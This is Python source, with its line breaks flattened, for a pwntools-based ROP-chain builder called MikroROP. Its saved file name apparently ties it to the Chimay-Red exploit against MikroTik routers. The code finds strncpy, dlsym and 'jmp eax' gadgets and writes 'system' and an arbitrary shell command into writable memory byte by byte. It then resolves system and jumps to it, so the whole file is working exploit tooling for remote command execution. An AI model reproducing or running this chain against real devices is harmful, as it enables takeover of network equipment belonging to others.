def loadOffsets(binary, shellCmd): elf = ELF(binary) rop = ROP(elf) # www PLT symbols plt["strncpy"] = elf.plt['strncpy'] plt["dlsym"] = elf.plt['dlsym'] # Gadgets to clean the stack from arguments gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address gadgets['p'] = rop.search(regs=["ebp"]).address # Gadget to jump on the result of dlsym (address of system) gadgets['jeax'] = ropSearchJmp(elf, "jmp eax") system_chunks.extend(searchStringChunksLazy(elf, "system\x00")) cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00")) # get the address of the first writable segment to store strings writable_address = elf.writable_segments[0].header.p_paddr strings['system'] = writable_address strings['cmd'] = writable_address + 0xf
class MikroROP(object): """ MikroROP class """ def __init__(self, binary: ELF, command=None): default_command = "/bin/touch /tmp/foobar-" + "".join( random.sample(string.ascii_letters, 5)) self._chain = None self._offsets = None self._command = command or default_command with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools if isinstance(binary, str): if os.path.isfile(binary): self.binary = binary = ELF(binary) if not isinstance(binary, ELF): self.binary = binary = ELF.from_bytes(b"\x90" * 262144, vma=0x8048000) self.rop = ROP([binary]) else: self.binary = binary context.binary = self.binary.path self.rop = ROP([binary]) context.arch = _bfdarch_patch() self.context = context self.build_offsets() def get_pthread_stacksize(self, lookahead=100) -> hex: """ :param lookahead: :return: """ thread_size = None address = self.binary.symbols[b"main"] disasm = self.binary.disasm(address, lookahead).split("\n") for num, line in zip(range(len(disasm)), disasm): if re.search(r"(e8 .* ff ff)", line): thread_attr = disasm[num - 2] if "push" in thread_attr: thread_size = thread_attr.partition("push")[-1].strip() break if not thread_size: return False return thread_size # TODO: Update mmips symbol fetching def get_plt_symbols(self, architecture: str) -> dict: plt_symbols = dict() try: if architecture is "x86" or "mips": for sym_name in (b"strncpy", b"dlsym"): plt_symbols[sym_name.decode()] = self.binary.plt[sym_name] except KeyError: log.critical( "Unkown error occured during fetching of symbols for " + architecture) raise return plt_symbols def generate_executable_segments(self) -> list: """ :return: """ executable_segments = list() for segment in self.binary.executable_segments: low = segment.header.p_vaddr high = segment.header.p_memsz + low if low or high: # if not ZERO executable_segments.append((low, high)) if not executable_segments: raise RuntimeError( "Could not locate any executable segments in binary") return executable_segments def generate_writeable_segments(self) -> list: """ :return: """ writeable_segments = list() for segment in self.binary.writable_segments: low = segment.header.p_vaddr high = segment.header.p_memsz + low if low or high: # if not ZERO writeable_segments.append((low, high)) if not writeable_segments: raise RuntimeError( "Could not locate any writeable segments in binary") return writeable_segments def generate_jmp_eax_gadget(self) -> int: """ :return: """ jmp_eax_re = re.compile(r"(.*jmp *eax)") for rx_segment_low, rx_segment_high in self.generate_executable_segments( ): for line in self.binary.disasm(rx_segment_low, rx_segment_high).split("\n"): if jmp_eax_re.search(line): return int(str(line.split(":")[0].strip()), 16) def generate_stackpivots(self, architecture): """ :param architecture: :return """ # TODO arch_pivots = { "x86": { "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), "pivot1ret": self.rop.search(regs=["ebp"]) }, # "mips": { # "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), # "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), # "pivot1ret": self.rop.search(regs=["ebp"]) # }, # "arm": { # "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), # "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), # "pivot1ret": self.rop.search(regs=["ebp"]) # } } stackpivots = arch_pivots.get(architecture) if not stackpivots: return False return stackpivots def generate_string_chunks(self, query: str): """ :param query: :return: """ return [[ address for address in char ][0] for char in [self.binary.search(char) for char in query + "\x00"]] def generate_ascii_chunks(self): """ :return: """ ascii_chunks = dict() for char in string.printable + "\x00": ascii_chunks[char] = [ address for address in self.binary.search(char) ][0] or None return ascii_chunks def build_offsets(self): """ :return: """ offsets = { "size": self.binary.data.__len__(), "base": self.binary.address, "thread_size": self.get_pthread_stacksize(), "segments": { "executable_segments": self.generate_executable_segments(), "writeable_segments": self.generate_writeable_segments() }, "strings": { "ascii_chunks": self.generate_ascii_chunks(), "system": self.generate_writeable_segments()[1][0], "cmd": (self.generate_writeable_segments()[1][0] + (self.binary.bits >> 1)), }, "gadgets": { "jmp_eax": self.generate_jmp_eax_gadget(), "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]), "pivot2ret": self.rop.search(regs=["ebx", "ebp"]), "pivot1ret": self.rop.search(regs=["ebp"]), }, "plt": { "strncpy": self.get_plt_symbols(self.binary.arch)["strncpy"], "dlsym": self.get_plt_symbols(self.binary.arch)["dlsym"] } } self._offsets = namedtuple("offsets", sorted(offsets))(**offsets) return True def build_ropchain(self, offsets=None): """ Command Eg. "ls -la" system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("s", "y", "s", "t", "e", "m", "\x00") cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("l", "s", " ", "-", "l", "a", "\x00") Psuedocode: ----------------------------- char_size = 1 char_pointer = 0 for address in cmd_chunks: rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size)) char_pointer += 1 |<<<< rop.call(<dlsym>, args=(0, "system")) | | eax = resultant pointer of dlsym() | |>>>> rop.call(<jmp eax>, args=(<command>)) ----------------------------- """ char_size = 1 cmd_chunks = list() system_chunks = list() if offsets: self._offsets = offsets for gadget_name, gadget in self.offsets.gadgets.items(): if "pivot" in gadget_name: self.binary.asm(gadget.address, "; ".join(gadget.insns)) self.binary.save("/tmp/chimay_red.elf") with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools self.rop = ROP([ELF("/tmp/chimay_red.elf")]) ascii_chunks = self.offsets.strings.get("ascii_chunks") if not ascii_chunks: log.critical("Offsets are currently not built!") for char in "system" + "\x00": if ascii_chunks.get(char): system_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft system chunks" ) for char in self.command + "\x00": if ascii_chunks.get(char): cmd_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft desired command" ) for length, address in zip(range(len(system_chunks)), system_chunks): self.rop.call(self.offsets.plt.get("strncpy"), [ self.offsets.strings.get("system") + length, address, char_size ]) # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) for length, address in zip(range(len(cmd_chunks)), cmd_chunks): self.rop.call( self.offsets.plt.get("strncpy"), [self.offsets.strings.get("cmd") + length, address, char_size]) # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.plt.get("dlsym"), [0, self.offsets.strings.get("system")]) # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.gadgets.get("jmp_eax"), [self.offsets.strings.get("cmd")]) # print("EXPLOIT 4: ", hexlify(self.rop.chain())) self._chain = self.rop.chain() @property def command(self): """ The command property """ return self._command @command.setter def command(self, value): self._command = value @property def offsets(self): """ The offsets property """ return self._offsets @offsets.setter def offsets(self, value): self._offsets = value @property def chain(self): """ The ropchain property """ return self._chain @chain.setter def chain(self, value): self._chain = value